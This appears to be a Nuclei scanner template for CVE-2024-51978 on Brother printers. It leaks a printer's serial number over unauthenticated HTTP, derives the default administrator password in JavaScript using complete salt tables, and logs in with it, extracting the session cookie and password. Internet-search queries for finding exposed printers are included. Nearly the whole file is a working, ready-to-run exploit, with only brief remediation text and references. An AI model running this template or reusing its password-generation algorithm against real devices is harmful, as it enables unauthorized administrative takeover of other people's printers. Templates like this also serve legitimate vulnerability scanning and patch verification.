Brother Printers – Authentication Bypass via Default Admin Password

id: CVE-2024-51978

info:
  name: Brother Printers – Authentication Bypass via Default Admin Password
  author: iamnoooob,pdresearch,MathematicianGoat
  severity: critical
  description: |
    By leaking a target device's serial number, a remote attacker can generate the target device's default administrator password. The target device may leak its serial number via unauthenticated HTTP, HTTPS, IPP, SNMP, or PJL requests.
  impact: |
    Attackers can exploit this vulnerability to compromise system security.
  remediation: |
    Apply security patches to address CVE-2024-51978.
  reference:
    - https://www.rapid7.com/blog/post/multiple-brother-devices-multiple-vulnerabilities-fixed
    - https://github.com/sfewer-r7/BrotherVulnerabilities
    - https://support.brother.com/g/b/faqend.aspx?c=eu_ot&lang=en&prod=group2&faqid=faq00100846_000
    - https://nvd.nist.gov/vuln/detail/CVE-2024-51978
  classification:
    epss-score: 0.15832
    epss-percentile: 0.96904
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-51978
    cwe-id: CWE-1391
  metadata:
    fofa-query: app="brother-Printer"
    zoomeye-query: device="brother-Printer" || app="brother-Printer"
  tags: cve,cve2024,brother,authenticated,default-login,vkev,intrusive,vuln

# Flow: Extract serial → Generate password → Login attempt
flow: |
  http(1)
  javascript()
  http(2)
  if(template.csrf){
   http(4)
  } else {
   http(3)
  }

javascript:
  - code: |
      let SALT_LOOKUP_TABLE = [
          0x06, 0x1A, 0x80, 0x93, 0x90, 0x60, 0xA4, 0x18, 0x76, 0xA8, 0xFA, 0x98, 0x58, 0x25, 0x5F, 0xBA,
          0x24, 0xCF, 0xDD, 0xB6, 0xD0, 0xE3, 0x7A, 0x68, 0x41, 0x8B, 0x21, 0x15, 0x7E, 0x65, 0x70, 0x7F,
          0x8C, 0x91, 0x3B, 0xFC, 0x13, 0x4A, 0xBE, 0xD7, 0x6C, 0x99, 0xC3, 0xD1, 0x51, 0x35, 0xDF, 0x23,
          0xB0, 0x3F, 0x3D, 0x16, 0x29, 0xA1, 0x59, 0xCA, 0xA2, 0x5C, 0x43, 0x0B, 0xA5, 0x36, 0xF0, 0xFE,
          0x3E, 0xED, 0xF2, 0xE6, 0xEA, 0x54, 0x66, 0x7D, 0xEE, 0x3C, 0x50, 0xEF, 0x9E, 0xD3, 0xB1, 0xF7,
          0xAC, 0x5A, 0x6E, 0x12, 0x2A, 0x01, 0x46, 0x8F, 0x6B, 0x88, 0x0E, 0x52, 0xF9, 0x81, 0xA0, 0x02,
          0xC1, 0xF1, 0xE9, 0xC2, 0xF6, 0x33, 0xCB, 0xB3, 0x73, 0x17, 0xFD, 0x6F, 0xF4, 0xEC, 0x84, 0xC6,
          0x47, 0xCE, 0x9F, 0xD5, 0x92, 0x85, 0x53, 0x26, 0x27, 0x62, 0xEB, 0xAE, 0x3A, 0x1F, 0x0F, 0x94,
          0x95, 0x82, 0x8E, 0x42, 0x28, 0xB9, 0xBF, 0xAF, 0xD4, 0x48, 0xD9, 0xC5, 0x4C, 0x64, 0x2B, 0x8D,
          0xF8, 0xAA, 0xC4, 0x63, 0x87, 0xE4, 0x1D, 0xA6, 0x14, 0xCD, 0xBB, 0xC0, 0xE5, 0xDA, 0x37, 0xC9,
          0xE8, 0xB8, 0x67, 0xDC, 0x5D, 0xA7, 0xAD, 0x79, 0x44, 0xF3, 0x83, 0xA9, 0x1B, 0x96, 0x89, 0xAB,
          0x45, 0xBC, 0x1C, 0xB4, 0xE1, 0x20, 0x2F, 0x49, 0x22, 0x86, 0xDB, 0x4E, 0xE0, 0x9B, 0x10, 0x19,
          0x97, 0x61, 0x40, 0x78, 0x5E, 0x39, 0xCC, 0x0D, 0x09, 0x9D, 0x34, 0x0C, 0x2E, 0x0A, 0x77, 0x6D,
          0xDE, 0xC7, 0xD8, 0xA3, 0xE2, 0x56, 0xB5, 0x4B, 0x38, 0x74, 0x8A, 0xBD, 0x6A, 0x4F, 0x07, 0x03,
          0x05, 0xFF, 0xF5, 0x31, 0x1E, 0xE7, 0xD2, 0x2D, 0x69, 0xC8, 0x5B, 0xD6, 0x57, 0x75, 0x7C, 0xB2,
          0x72, 0xB7, 0x2C, 0xFB, 0x11, 0x9C, 0x7B, 0x32, 0x55, 0x30, 0x71, 0x04, 0x9A, 0x4D, 0x08, 0x100
        ]
      let SALT_DATA_TABLE = [
          'aiaFrJAn', 'FuUcjKwa', 'cMnDTitZ', 'RuSfzwJC', 'XXrLDVub', 'znimXRSU', 'dLdJgcZf', 'rgm32u2x',
          '7HOLDhk\'', 'ENbuNZVy', 'eCd6Ygyf', 'gmLt2GuL', '5dhjHet3', 'nPtN7h23', '47rdTTV7', 'KAkaSzWh',
          's3m7wwW2', 'wtBGnGjn', 'H3LyF$dd', 'H6EtSew2', 'D9N8iJBB', 'tPT4ZKm3', 'XEEV4tjf', 'zDXx93rw',
          'HKkmbGjD', 'ng5sLECe', 'QrPVDngu', 'LPMhpZe9', 'uLzhjUwc', 'Sa9QBKW2', 'AfrPdj7y', 'ujmt9s72',
          'n8Y7XrFx', '8xeRU7rW', 'RUzpQznp', '%hU5RMxP', 'ipaZKMEW', 'chP5cHCy', 'b5UJabgU', 'WtZsF7VF',
          'xk8wg669', 'gAVynzbw', 'GuRgNxkm', 'UBCAUb85', 'CQgQhyfp', 'fcEegCtB', '5LSpTNPN', 'dzrQdahF',
          'kD4fHLhM', 'mHQ6QAUg', 'TjZ6kiAb', '5SMdwEK6', 'RD2ytHHH', 'XgQHBfBY', '6ZZRVbHx', 'BNDUsFCC',
          'iSwrrtpr', 'ucBFJbGj', 'Nzs7rhKJ', 'uHugTJX5', 'aXN3FsUF', 'uyHDwwUK', 'tbnJTYje', 'SmgfLZ2n',
          '4sXy9D8j', 'YLVSee68', '3U5TbNNS', 'QjYfTBKu', 'T*8AF8dk', 'F8xQDTrW', 'Pyeda62U', '33sghDrE',
          'ThiW9Naz', 'BU9TDd7k',
          '72sgwM&G', 'VkV+uSUt', 'HpTdi9jL', 'G3AbGyAH', 'zbW8YCSy', 'eKB25SCe',
          'rbzpCtQN', 'EZSRB966', 'nJAxxUbS', '7GZRAG9E', 'PaMCwYGQ', 'TZy2AeYr', 'jMgYEPUT', '6QAepcUc',
          'jdWU9pXy', 'CeZs6T8g', 'jEEDBNPn', 'fCHg4V5W', 'rTUUjyPG', '3L5SNJhr', 'XbXK4Lg9', 'ZcdGAzLH',
          'ANfMJ&6p', 'S4URfyzc', 'Pai9muCn', 'Nei%6NwR', 'BnUWBHg6', 'FwGyWrux', 'mwkuuGXX', 'WR$LK5Qu',
          'Lxs4DgNM', 'KAYMHcKy', 'UnWYeeUp', '2cc3EzeX', '7nVPpdCd', 'LDPgHa9b', 'Yfwsz7zR', 'tGhb9Ych',
          'Gxi4S8jC', 'QEiWU2cm', 'PFhyTxjN', 'LrpTgGLw', 'PUfziDzE', 'ACbmRneN', 'gYmjyNjF', 'RuZctKSS',
          'k8KdHgDB', 'pJEA3hSG', 'X6rbghrk', '9mnbf3up', '4WU2hMHx', 'TgmNEn45', 'zRnQReEn', 'DfsPzxsX',
          'UyScxhhw', 'knEsS3CX', 'xuPUKwFf', 'Ks4nKt2z', 'trBf!b67', 'rhHgt4gX', '2N8sPf#d', 'eFMjhMcB',
          'aWLeRu9M', '4MiN4D63', '5nG9jMGh', 'SA5pnyQ6', 'UnSQ94nx', 'kPjzBBxy', '6CppHT3R', '3VPgRgiL',
          'cP9JJDJr', 'MyMWzUMj', 'xyG4ACEd', 'dbnAbG8e', 'RnHGYc6F', 'ktCQnJWk', 'XBt5Vxr2', 'wH6iY9f9',
          'atB4eri8', '8SdHujf8', 'inLRdn5s', 'Fh3N*pWc', 'Fb3XYtZz', 'GADACWcS', 'r8tsDgph', 'EumHNmFg',
          'rRFKrK2x', 'TQ9nUnNk', 'P5hss6GX', 'mX8ZSQtr', 'BJMjyd7H', 'EC7r5fEm', 'TPjQpDaa', 'SZeMDpfR',
          'XEDJeraW', 'YYNTgsah', '6uupfWF!', '7RcTLwHX', 'ycYr3dwT', '7VwCnTFQ', 'JGF6iigf', 'M72Kea4f',
          'ZxfZWbVb', 'NcT3LGBV', 'HBU68uaa', 'UeHK4pnf', 'sDjzNHHd', 'CGjgeutc', 'PC4JbuC2', 'tNYQc7Xs',
          'RGNsJQhD', 'HKEh2fba', '49x4PLUz', 'N6MLNkY5', 'NrMHeE9d', 'j5NkznV4', 'n8At3YKi', 'ZnHwAEnZ',
          '3LnUmF8E', 'RBXzdUpA', 'FwGHBVej', '3wkkik7E', 'fpyGnp2u', 'ANBwfiPb', 'Ztt8X9zG', '47K7QWix',
          'TzJfUdNY', 'hpD?MEAm', 'sJRh4Jni', 'TyQUgEEH', 'FBJnWWwx', '7cN3GH6e', 'hWQhzFTN', 'GamDhsgZ',
          'yXM4cZKt', '9BJPKtaC', 'NVNpe4kJ', 'uSyxGxbz', 'h5zTpV3U', 'TAajcQ4h', 'VjYMEusS', 'Wpj237VG',
          'yAjHYVVV', 'Hb6k7Cwe', 'yZbuDBEi', 'S4wpBmZM', 'DwFra8wk', 'j#Pk5r9W', 'PjkfS9WB', 'gHf3YGA3',
          'ihDtdUCu', 'KARzJDfR', 'M7fApB5U', 'MiD44gRC', 'RdEM8y5W', '4GsGuPag', 'pETQc4k2', 'pZZu7Ras',
          'AJReAUBy', 'EAMmQsWe', 'BeC2XJi8', 'PujT2eRf', '2UXLeAJu', 'hMPbY3MQ', 'QeawRP*p', 'SbCbW9Tf',
          'EhNNtLyj', 'B8RjceGs', 'LaydmLeD', 'JFR7T47f', 'WCbAdTfm', 'srN9gNSE', 'gAn7h8Yp', '4PnTKVse',
          'HDxGwLsN', 'tR8XUSRg', 'wLe-3Xf8', 'zH7cpxsd', 'tCc5sWFX', '3hzTj5BS',
          'hLK6f&g4', 'tCzzSsm7'
        ]
          function strToCharCodes(str) {
              const arr = [];
              for (let i = 0; i < str.length; ++i) arr.push(str.charCodeAt(i));
              return arr;
          }

          function generateDefaultPassword(serial, saltLookupIndex = 254, saltData = null) {
              if (!(0 <= saltLookupIndex && saltLookupIndex < SALT_LOOKUP_TABLE.length)) {
                  throw new Error('SaltLookupIndex must be between 0 and 255');
              }

              if (saltData === null && saltLookupIndex !== 0) {
                  const saltTableIndex = SALT_LOOKUP_TABLE[saltLookupIndex];
                  if (saltTableIndex >= SALT_DATA_TABLE.length) {
                      throw new Error('Unknown salt table data at salt table index');
                  }
                  saltData = strToCharCodes(SALT_DATA_TABLE[saltTableIndex]);
              }

              if (!saltData || saltData.length !== 8) {
                  throw new Error('SaltData must be 8 bytes');
              }

              // Use nuclei's Buffer implementation
              const bytes = require('nuclei/bytes');
              const buffer = new bytes.Buffer();

              // Write the first 16 chars of serial as string
              buffer.WriteString(serial.slice(0, 16));

              // Prepare salt bytes in reverse order, minus 1
              const saltBytes = [
                  saltData[7] - 1, saltData[6] - 1, saltData[5] - 1, saltData[4] - 1,
                  saltData[3] - 1, saltData[2] - 1, saltData[1] - 1, saltData[0] - 1
              ];
              buffer.Write(saltBytes);

              // Get the buffer as a byte array
              result=buffer.Hex()
              return result;
          }
          generateDefaultPassword(serial)
    args:
      serial: "{{trim_space(replace(replace(replace_regex(srno,'(BR[A-Z0-9]+)',''),']',''),'[',''))}}"


http:
  - raw:
      - |
        GET /etc/mnt_info.csv HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, 'Main Firmware Version','Model Name') && status_code == 200
        internal: true

    extractors:
      - type: regex
        part: body
        name: srno
        group: 1
        regex:
          - '"(\w{15})"'
        internal: true

  - raw:
      - |
        GET /general/status.html HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        name: logbox
        group: 1
        regex:
          - 'id="LogBox" name="(.*?)"'
        internal: true

      - type: regex
        part: body
        name: csrf
        group: 1
        internal: true
        regex:
          - 'id="CSRFToken" name="CSRFToken" value="(.*?)"'

  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken=

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')


  - raw:
      - |
        POST /general/status.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{logbox}}={{urlencode(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>'))}}&loginurl=/general/status.html&CSRFToken={{urlencode(csrf)}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code == 301'
          - 'contains(set_cookie,"AuthCookie=") && !contains(location,"/etc/passerror.html")'
        condition: and

    extractors:
      - type: dsl
        name: login_password
        dsl:
          - replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(base64(hex_decode(sha256(hex_decode(javascript_response)))),0,8),'l','#'),'I','$'),'z','%'),'Z','&'),'b','*'),'q','-'),'O',':'),'o','?'),'v','@'),'y','>')